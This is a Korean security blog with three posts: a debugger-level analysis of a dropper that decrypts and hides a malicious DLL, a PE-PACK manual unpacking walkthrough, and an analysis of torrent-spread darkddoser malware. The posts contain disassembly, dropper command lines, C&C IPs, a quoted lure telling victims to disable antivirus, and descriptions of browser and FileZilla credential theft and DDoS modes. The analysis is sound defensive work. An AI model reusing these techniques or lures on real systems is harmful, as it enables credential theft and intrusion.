0012F674   0012FBAC  \<%s> = "C:\Documents and Settings\nopsled\바탕 화면\hripr.exe"

2초간의 딜레이를 준 후에 %TEMP%경로에 있는 파일을 실행하기 위한 문자열이다.



0012F66C   00401F71  /CALL to WinExec from hripr.00401F6B

0012F670   0012F690  |CmdLine = "cmd.exe /c ping 127.0.0.1 -n 2&C:\DOCUME~1\nopsled\LOCALS~1\Temp\\ynpltj.exe "C:\Documents and Settings\nopsled\바탕 화면\hripr.exe""

0012F674   00000000  \ShowState = SW_HIDE

WinExec를 사용하여 %TEMP%\[랜덤6자리].exe를 SW_HIDE 상태로 실행시킨다.



00402077  |.  68 B8714000   PUSH hidjiu.004071B8                     ; /ResourceType = "REGISTRY"

0040207C  |.  68 95000000   PUSH 95                                  ; |ResourceName = 95

00402081  |.  6A 00         PUSH 0                                   ; |hModule = NULL

00402083  |.  FF15 48504000 CALL DWORD PTR DS:[405048]               ; \FindResourceA 


...중략...

004020A5  |.  50            PUSH EAX                                 ; /hResource

004020A6  |.  6A 00         PUSH 0                                   ; |hModule = NULL

004020A8  |.  FF15 44504000 CALL DWORD PTR DS:[405044]               ; \LoadResource


...중략...


004020CA  |.  51            PUSH ECX                                 ; /hResource

004020CB  |.  6A 00         PUSH 0                                   ; |hModule = NULL

004020CD  |.  FF15 40504000 CALL DWORD PTR DS:[405040]               ; \SizeofResource


...중략...


004020F5  |.  50            PUSH EAX                                 ; /n = 2E000 (188416.) // Buffer size

004020F6  |.  8B8D D4FCFFFF MOV ECX,DWORD PTR SS:[EBP-32C]           ; |

004020FC  |.  51            PUSH ECX                                 ; |/nHandles

004020FD  |.  FF15 74504000 CALL DWORD PTR DS:[405074]               ; |\SetHandleCount

00402103  |.  50            PUSH EAX                                 ; |src

00402104  |.  8B55 E8       MOV EDX,DWORD PTR SS:[EBP-18]            ; |

00402107  |.  52            PUSH EDX                                 ; |dest

00402108  |.  E8 21250000   CALL hidjiu.0040462E                     ; \memcpy

파라미터를 주어 실행된 악성코드는 리소스 영역에서 암호화된 REGISTRY 부분을 참조하여 로드하고 사이즈를 체크하여 복호화할 버퍼의 크기를 구한다.



00402134  |> /8B8D D0FCFFFF /MOV ECX,DWORD PTR SS:[EBP-330]

0040213A  |. |83C1 01       |ADD ECX,1

0040213D  |. |898D D0FCFFFF |MOV DWORD PTR SS:[EBP-330],ECX

00402143  |> |8B95 D0FCFFFF  MOV EDX,DWORD PTR SS:[EBP-330]

00402149  |. |3B95 94FBFFFF |CMP EDX,DWORD PTR SS:[EBP-46C]

0040214F  |. |0F8D 93000000 |JGE hidjiu.004021E8

00402155  |. |8B85 D0FCFFFF |MOV EAX,DWORD PTR SS:[EBP-330]

0040215B  |. |99            |CDQ

0040215C  |. |B9 03000000   |MOV ECX,3

00402161  |. |F7F9          |IDIV ECX

00402163  |. |83FA 02       |CMP EDX,2

00402166  |. |75 19         |JNZ SHORT hidjiu.00402181

00402168  |. |8B55 E8       |MOV EDX,DWORD PTR SS:[EBP-18]

0040216B  |. |0395 D0FCFFFF |ADD EDX,DWORD PTR SS:[EBP-330]

00402171  |. |8A02          |MOV AL,BYTE PTR DS:[EDX]

00402173  |. |2A45 EC       |SUB AL,BYTE PTR SS:[EBP-14]

00402176  |. |8B4D E8       |MOV ECX,DWORD PTR SS:[EBP-18]

00402179  |. |038D D0FCFFFF |ADD ECX,DWORD PTR SS:[EBP-330]

0040217F  |. |8801          |MOV BYTE PTR DS:[ECX],AL

00402181  |> |8B85 D0FCFFFF |MOV EAX,DWORD PTR SS:[EBP-330]

00402187  |. |99            |CDQ

00402188  |. |B9 03000000   |MOV ECX,3

0040218D  |. |F7F9          |IDIV ECX

0040218F  |. |83FA 01       |CMP EDX,1

00402192  |. |75 1C         |JNZ SHORT hidjiu.004021B0

00402194  |. |8B55 E8       |MOV EDX,DWORD PTR SS:[EBP-18]

00402197  |. |0395 D0FCFFFF |ADD EDX,DWORD PTR SS:[EBP-330]

0040219D  |. |8A02          |MOV AL,BYTE PTR DS:[EDX]

0040219F  |. |2A85 DCFDFFFF |SUB AL,BYTE PTR SS:[EBP-224]

004021A5  |. |8B4D E8       |MOV ECX,DWORD PTR SS:[EBP-18]

004021A8  |. |038D D0FCFFFF |ADD ECX,DWORD PTR SS:[EBP-330]

004021AE  |. |8801          |MOV BYTE PTR DS:[ECX],AL

004021B0  |> |8B85 D0FCFFFF |MOV EAX,DWORD PTR SS:[EBP-330]

004021B6  |. |99            |CDQ

004021B7  |. |B9 03000000   |MOV ECX,3

004021BC  |. |F7F9          |IDIV ECX

004021BE  |. |85D2          |TEST EDX,EDX

004021C0  |. |75 21         |JNZ SHORT hidjiu.004021E3

004021C2  |. |8B55 EC       |MOV EDX,DWORD PTR SS:[EBP-14]

004021C5  |. |0395 DCFDFFFF |ADD EDX,DWORD PTR SS:[EBP-224]

004021CB  |. |8B45 E8       |MOV EAX,DWORD PTR SS:[EBP-18]

004021CE  |. |0385 D0FCFFFF |ADD EAX,DWORD PTR SS:[EBP-330]

004021D4  |. |8A08          |MOV CL,BYTE PTR DS:[EAX]

004021D6  |. |2ACA          |SUB CL,DL

004021D8  |. |8B55 E8       |MOV EDX,DWORD PTR SS:[EBP-18]

004021DB  |. |0395 D0FCFFFF |ADD EDX,DWORD PTR SS:[EBP-330]

004021E1  |. |880A          |MOV BYTE PTR DS:[EDX],CL

004021E3  |>^\E9 4CFFFFFF   \JMP hidjiu.00402134

위와 같은 복호화 루틴을 거친다.



00401B18  |.  BE 48714000   MOV ESI,hidjiu.00407148                  ;  ASCII "ekimhuqcroanflvzgdjtxypswb"

00401B1D  |.  8D7D DC       LEA EDI,DWORD PTR SS:[EBP-24]

00401B20  |.  F3:A5         REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS>

00401B22  |.  66:A5         MOVS WORD PTR ES:[EDI],WORD PTR DS:[ESI]

00401B24  |.  A4            MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI]

00401B25  |.  FF15 10504000 CALL DWORD PTR DS:[405010]               ; [GetTickCount

00401B2B  |.  50            PUSH EAX                                 ; /seed

00401B2C  |.  FF15 C4524000 CALL DWORD PTR DS:[4052C4]               ; \srand

00401B32  |.  83C4 04       ADD ESP,4

00401B35  |.  FF15 D4524000 CALL DWORD PTR DS:[4052D4]               ; [rand 

복호화 된 파일드랍 및 디렉토리 생성을 위해서 6자리의 랜덤 문자열을 골라낸다.



00402259  |.  52            PUSH EDX                                 ; /<%s>

0040225A  |.  68 C4714000   PUSH hidjiu.004071C4                     ; |Format = "d:\Program Files\%s"

0040225F  |.  8D85 98FBFFFF LEA EAX,DWORD PTR SS:[EBP-468]           ; |

00402265  |.  50            PUSH EAX                                 ; |s

00402266  |.  FF15 F8524000 CALL DWORD PTR DS:[4052F8]               ; \wsprintfA


...생략...


0040226F  |.  6A 00         PUSH 0                                   ; /pSecurity = NULL

00402271  |.  8D8D 98FBFFFF LEA ECX,DWORD PTR SS:[EBP-468]           ; |

00402277  |.  51            PUSH ECX                                 ; |Path

00402278  |.  FF15 38504000 CALL DWORD PTR DS:[405038]               ; \CreateDirectoryA


...생략....


004022B5  |.  6A 02         PUSH 2                                   ; /FileAttributes = HIDDEN

004022B7  |.  8D95 98FBFFFF LEA EDX,DWORD PTR SS:[EBP-468]           ; |

004022BD  |.  52            PUSH EDX                                 ; |FileName

004022BE  |.  FF15 34504000 CALL DWORD PTR DS:[405034]               ; \SetFileAttributesA


D:\Program Files\[랜덤6자리]와 C:\Program Files\[랜덤6자리]라는 디렉토리를 생성하고 폴더의 속성중 HIDDEN으로 설정하여 사용자들이 볼수 없게끔 HIDE시킨다.



004022D7  |.  6A 05         PUSH 5                                   ; /Arg2 = 00000005

004022D9  |.  8D8D C0FCFFFF LEA ECX,DWORD PTR SS:[EBP-340]           ; |

004022DF  |.  51            PUSH ECX                                 ; |Arg1

004022E0  |.  E8 26F8FFFF   CALL hidjiu.00401B0B                     ; \hidjiu.00401B0B


...생략...


 004022EE  |.  52            PUSH EDX                                 ; /<%s>

004022EF  |.  8D85 98FBFFFF LEA EAX,DWORD PTR SS:[EBP-468]           ; |

004022F5  |.  50            PUSH EAX                                 ; |<%s>

004022F6  |.  68 EC714000   PUSH hidjiu.004071EC                     ; |Format = "%s\%s.dll"

004022FB  |.  8D8D E0FDFFFF LEA ECX,DWORD PTR SS:[EBP-220]           ; |

00402301  |.  51            PUSH ECX                                 ; |s

00402302  |.  FF15 F8524000 CALL DWORD PTR DS:[4052F8]               ; \wsprintfA


...생략...


0040230B  |.  6A 00         PUSH 0                                   ; /hTemplateFile = NULL

0040230D  |.  68 80000000   PUSH 80                                  ; |Attributes = NORMAL

00402312  |.  6A 02         PUSH 2                                   ; |Mode = CREATE_ALWAYS

00402314  |.  6A 00         PUSH 0                                   ; |pSecurity = NULL

00402316  |.  6A 02         PUSH 2                                   ; |ShareMode = FILE_SHARE_WRITE

00402318  |.  68 00000040   PUSH 40000000                            ; |Access = GENERIC_WRITE

0040231D  |.  8D95 E0FDFFFF LEA EDX,DWORD PTR SS:[EBP-220]           ; |

00402323  |.  52            PUSH EDX                                 ; |FileName

00402324  |.  FF15 70504000 CALL DWORD PTR DS:[405070]               ; \CreateFileA

0040232A  |.  8985 40FBFFFF MOV DWORD PTR SS:[EBP-4C0],EAX

00402330  |.  6A 00         PUSH 0                                   ; /pOverlapped = NULL

00402332  |.  8D85 44FBFFFF LEA EAX,DWORD PTR SS:[EBP-4BC]           ; |

00402338  |.  50            PUSH EAX                                 ; |pBytesWritten

00402339  |.  8B8D 94FBFFFF MOV ECX,DWORD PTR SS:[EBP-46C]           ; |

0040233F  |.  51            PUSH ECX                                 ; |nBytesToWrite = 2E000 (188416.)

00402340  |.  8B55 E8       MOV EDX,DWORD PTR SS:[EBP-18]            ; |

00402343  |.  52            PUSH EDX                                 ; |Buffer

00402344  |.  8B85 40FBFFFF MOV EAX,DWORD PTR SS:[EBP-4C0]           ; |

0040234A  |.  50            PUSH EAX                                 ; |hFile

0040234B  |.  FF15 18504000 CALL DWORD PTR DS:[405018]               ; \WriteFile

한번더 랜덤6자리를 생성하여 C:\Program Files\[랜덤6자리]에 DLL을 드랍한다.



 FileName

 enubwadv.dll

 MD5

 B522776C1E472F0F74DF13FBB6C7E854

 SHA-1

 164B1A8607A95D9DB7074E382ABEE2E5F762D468

 Packer

 Not used packer.

[드랍된 DLL 악성코드 정보표]



0012F6E0   004024BF  /CALL to CopyFileA from hidjiu.004024B9

0012F6E4   0012FA60  |ExistingFileName = "c:\windows\system32\rundll32.exe"

0012F6E8   0012FA9C  |NewFileName = "c:\Program Files\ruqhe\svtm.exe"

0012F6EC   00000000  \FailIfExists = FALSE

정상 윈도우 파일인 rundll32.exe 파일을 C:\Program Files\[랜덤 6자리]\[랜덤4자리].exe 파일로 복사한다. (이렇게 복사하는 이유는 악성 dll을 rundll32.exe로 실행시키기 위해서다.)





0012F6D8   0040252C  /CALL to wsprintfA from hidjiu.00402526

0012F6DC   0012F700  |s = 0012F700

0012F6E0   0040722C  |Format = "%s "%s",Scheduler %s"

0012F6E4   0012FA9C  |<%s> = "c:\Program Files\ruqhe\svtm.exe"

0012F6E8   0012FBA4  |<%s> = "c:\Program Files\ruqhe\enubwadv.dll"

0012F6EC   0012FCA8  \<%s> = "C:\Documents and Settings\nopsled\Local Settings\Temp\hidjiu.exe"

scheduler라는 파라미터를 넘겨받아 DLL Export 함수를 호출한다. 또한, rundll32.exe와 [랜덤8자리].dll파일을 실행시킨다. 3번째의 파라미터는 %TEMP%경로에 있는 임시 악성코드를 삭제하기 위해서 넘겨주는 값이다.




0012F6C4   0040258B  /CALL to CreateProcessA from hidjiu.00402585

0012F6C8   00000000  |ModuleFileName = NULL

0012F6CC   0012F700  |CommandLine = "c:\Program Files\ruqhe\svtm.exe "c:\Program Files\ruqhe\enubwadv.dll",Scheduler C:\Documents and Settings\nopsled\Local Settings\Temp\hidjiu.exe"

0012F6D0   00000000  |pProcessSecurity = NULL

0012F6D4   00000000  |pThreadSecurity = NULL

0012F6D8   00000000  |InheritHandles = FALSE

0012F6DC   00000000  |CreationFlags = 0

0012F6E0   00000000  |pEnvironment = NULL

0012F6E4   00000000  |CurrentDir = NULL

0012F6E8   0012F910  |pStartupInfo = 0012F910

0012F6EC   0012FDB4  \pProcessInfo = 0012FDB4 

위에서 구성된 문자열을 이용하여 프로세스를 실행한다. 




98.126.162.36:803

98.126.162.36:3201



저작자 표시 비영리
신고

[MUP] PE-PACK v1.0 by ANAKiN 1998

Posted by nopsled
2015.11.24 22:12 분석생활

Manual unpack for PE-PACK

PE-PACK 메뉴얼 언패킹



00402904      7D            DB 7D                                    ;  CHAR '}'

00402905      00            DB 00

00402906 > $  74 00         JE SHORT hripr.00402908                  ;  Entry Point..

00402908   >- E9 F3460300   JMP hripr.00437000

0040290D      00            DB 00

0040290E      00            DB 00 

  디버깅을 시작할 때 JE SHORT과 JMP가 있는걸 볼 수 있다. F8을 두 번 눌러 step-over 해준다.



00437000    60              PUSHAD

00437001    E8 00000000     CALL hripr.00437006

그럼 위와 같은 코드를 만날 수 있다. F8을 눌러 한번 더 진행한다. (진행하게 되면 EIP는 00437001을 가르킨다.)



Hex dump 부분에서 ESP를 따라가서 맨 첫 4Byte(Dword)를 Breakpoint 걸어준 후 F9를 눌러서 계속 진행한다.




00437270  - FFE0            JMP EAX                                  ; hripr.0040467C

00437272    8D85 CE050000   LEA EAX,DWORD PTR SS:[EBP+5CE]

00437278    50              PUSH EAX

00437279    8DBD D1040000   LEA EDI,DWORD PTR SS:[EBP+4D1] 

EIP는 00437270에서 멈춘다. 위와 같은 어셈블리가 나온다면 된다. JMP EAX를 통해서 F8를 눌러서 OEP로 돌아간다.



0040467C  /.  55            PUSH EBP

0040467D  |.  8BEC          MOV EBP,ESP

0040467F  |.  6A FF         PUSH -1

00404681  |.  68 D85A4000   PUSH hripr.00405AD8

00404686  |.  68 02484000   PUSH hripr.00404802                      ;  JMP to msvcrt._except_handler3; SE handler installation

0040468B  |.  64:A1 0000000>MOV EAX,DWORD PTR FS:[0]

00404691  |.  50            PUSH EAX

00404692  |.  64:8925 00000>MOV DWORD PTR FS:[0],ESP

00404699  |.  83EC 68       SUB ESP,68

0040469C  |.  53            PUSH EBX

0040469D  |.  56            PUSH ESI

0040469E  |.  57            PUSH EDI

0040469F  |.  8965 E8       MOV DWORD PTR SS:[EBP-18],ESP

004046A2  |.  33DB          XOR EBX,EBX

004046A4  |.  895D FC       MOV DWORD PTR SS:[EBP-4],EBX

004046A7  |.  6A 02         PUSH 2

004046A9  |.  FF15 78524000 CALL DWORD PTR DS:[405278]               ;  msvcrt.__set_app_type 

그럼 OEP로 돌아왔으니 덤프뜬다.




참고자료 : http://comcrazy.net76.net/REA/Unpack%20PE%20Pack%20v1.0.htm

저작자 표시 비영리
신고

토렌트를 통한 악성코드 유포

Posted by nopsled
2015.11.18 18:43 분석생활





- 악성코드 분석 개요
  현재, (검은사제들)2015.720p.HDRip-H264.by-kyh, 그놈이다FATAL INTUITION, 2015.720p.HDRip-H264.by-kyh -, 탐정 파일에 대한 악성코드 유포가 확인 되었습니다. 이 외에도, 여러가지 토렌트(최신 영화)를 대상으로 악성코드 유포를 하고 있는것으로 예상 됩니다.




- 악성코드 분석 내용

BCU확장자 파일은 정상적인 동영상 파일이며 콥스,저작권사,경찰 등의 단속을 피하기 위해 BCU암호화를 진행하였습니다


● Check Bypass, Movie Decrypt 는 일부 백신에서 오진 할 수 있으니 실시간 검사 혹 백신을 종료 하신뒤 실행하여 주시길 바랍니다 ●

● 위 두 프로그램은 절대적으로 바이러스 프로그램이 아닌 보안을 위해 프로그램 '패킹'(보안) 을 해두어서 백신에서 오진 하는 것 입니다 ●


●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●

암호화 해제 압축 파일을 해제 한 뒤 아래 작업을 하셔야 정상적으로 가능하십니다.

Check Bypass 를 실행 (아무 창도 뜨지 않음) -> Movie Decrypt 를 실행 -> Decrypt 버튼을 클릭 -> 탐정 동영상 파일을 선택 -> 암호화 해제 작업 완료 메세지 뜨면 그 후 영화 시청 가능합니다

Check Bypass, Movie Decrypt 를 바이러스로 오해하시는 분들을 위해 VIRUS TOTAL이라는 유명 전 세계 백신으로 검사하는 사이트에서 진행한 내역을 사진으로 첨부할태니 보고 오해하지 마시길 바랍니다.

바이러스로 오진하더라도 바이러스명이 Packed 로 끝나는 부분은 말 그대로 패킹을 해서 그렇습니다. 

  꼭 읽고 보세요.txt에 적혀있는 텍스트 내용이다. 내용을 읽어보면 "탐정" 동영상 파일을 선택하라고 하는데, 처음 유포는 탐정 파일로 시작되었던 것으로 예상된다.




 FileName

 Movie Decrypt.exe

 MD5

 FFF73C18F2042775B0A5CDAA2517A8A4

 SHA-1

 C7D7BC5D8ED26A7BE2BFBB3D9704CDA3B81E64EF

 Packer

 Not used packer

 File Type

 Portable Executable 32 .NET Assembly

.NET으로 프로그래밍된 바이너리. 실질적으로 행동하는 바이너리는 아니다.




[DesignerGenerated]

public class Form1 : Form

{

    // Fields

    private static List<WeakReference> __ENCList;

    [AccessedThroughProperty("Button1")]

    private Button _Button1;

    private IContainer components;


    // Methods

    [DebuggerNonUserCode]

    static Form1();

    [DebuggerNonUserCode]

    public Form1();

    [DebuggerNonUserCode]

    private static void __ENCAddToList(object value);

    [MethodImpl(0x40 | MethodImplOptions.NoInlining)]

    private void Button1_Click(object sender, EventArgs e);

    [DebuggerNonUserCode]

    protected override void Dispose(bool disposing);

    [DebuggerStepThrough]

    private void InitializeComponent();


    // Properties

    internal virtual Button Button1 { [DebuggerNonUserCode] get; [MethodImpl(MethodImplOptions.Synchronized), DebuggerNonUserCode] set; }

}

  실행시키면 위와 같은 화면이 로드되며 소스코드를 보면, 하는거 없이 폼만 로드한다.(즉, 화면만 띄우는 역할을 한다.)

굵은 표시를 한 소스코드는 버튼 클릭을 하면 이벤트가 발생하는데, 발생한 이벤트는 메시지박스를 띄우는 역할을 한다.



[MethodImpl(0x40 | MethodImplOptions.NoInlining)]

private void Button1_Click(object sender, EventArgs e)

{

    Interaction.MsgBox("암호화 해제에 실패하였습니다\r\n잠시후 다시 시도 해주시길 바랍니다 (Error : 1064)", MsgBoxStyle.Critical, "Error");

    ProjectData.EndApp();

}

  메시지 박스를 고정적으로 띄운다. Error code도 고정이다. 그냥 fake message box로 보면 된다.



 FileName

 Check Bypass.exe

 MD5

 6C4F61733A394F83EF99561806F948FA

 SHA-1

 0874202B533AF8303D1EEAB928D7E260B6A2A895

 Packer

 Unknown packer

 File Type

 Borland Delphi 4.0

  델파이로 프로그래밍 되었으며 실질적으로 악성 행위를 하는 악성코드이다.



  윈도우 %TEMP% 경로에 자기자신을 복제하여 드랍한다.



  파이어폭스 자동로그인을 사용한 PC의 경우 sqlite를 복호화한다. select * from moz_logins는 sqlite파일에서 가져오기 위한 쿼리문이며, url, encryptedUsername, encryptedPassword를 가져올 수 있다. 복호화 과정을 거쳐 서버로 전송하는 것으로 확인된다.



FileZilla 디렉토리에서 recentservers.xml에 접근하여 xml parse를 시도한다. (외부로 유출하기 위함)

*recenteservers.xml : Filezila에서 최근 접속한 내용을 저장해두는 역할을 한다.(Host, User, Password)







  지속적으로 C&C에서 특정 명령어를 받는 경우 UDP, Flooding HTTP Flooding, SYN Flooding, Sloworis, ARME와 같은 네트워크 공격을 시도할 수 있도록 프로그래밍 되었다.



darkddoser라는 툴을 사용한 다형성 악성코드로 판별.




악성코드 C&C IP는 45.32.21.95이며 choopa.com에서 호스팅을 받고 있다. 운영체제는 Windows 7 professional K를 사용하며 RDP를 열어 관리를 하고 있는 중이다.




  darkddoser는 Attack, Server update, password crack, server builder로 이루어져 있다.



  Attack에는 보이는 것과 같이 UDP, SYN, HTTP, Slowloris, ARME와 같은 공격이 정의되어 있고 여러가지 설정으로 인하여 세분화된 공격이 가능하다.



  파이어폭스, 파일질라, 윈도우 메신저의 아이디, 비밀번호를 복호화 하여 보여준다.

화면을 보는 기능은 없는듯 하다.





- 악성코드 치료 방법


(혹은, 가장 하단에 첨부된 첨부파일을 다운받아서 실행시켜 주세요.)

1. 안전모드로 부팅한다.


2. 윈도우키+R키를 누른 후 실행이 뜨면 msconfig을 입력한다.



3. svchost라는 시작 항목이 있는데 체크를 해제 해준다. 


4. C:\Documents and Settings\[사용자 컴퓨터 이름]\Local Settings\Application Data\Microsoft에서 svchost.exe를 삭제한다.


5. 재부팅을 한다.






163.exe


위에 추가된 첨부 파일은 악성코드 치료 프로그램입니다.


감사합니다.

저작자 표시 비영리
신고

티스토리 툴바